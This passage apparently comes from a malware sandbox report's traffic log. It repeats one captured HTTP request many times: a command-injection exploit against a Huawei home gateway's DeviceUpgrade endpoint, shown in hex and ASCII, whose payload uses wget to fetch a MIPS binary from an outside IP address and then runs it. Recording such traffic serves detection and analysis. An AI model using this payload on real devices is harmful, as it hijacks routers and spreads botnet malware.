xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 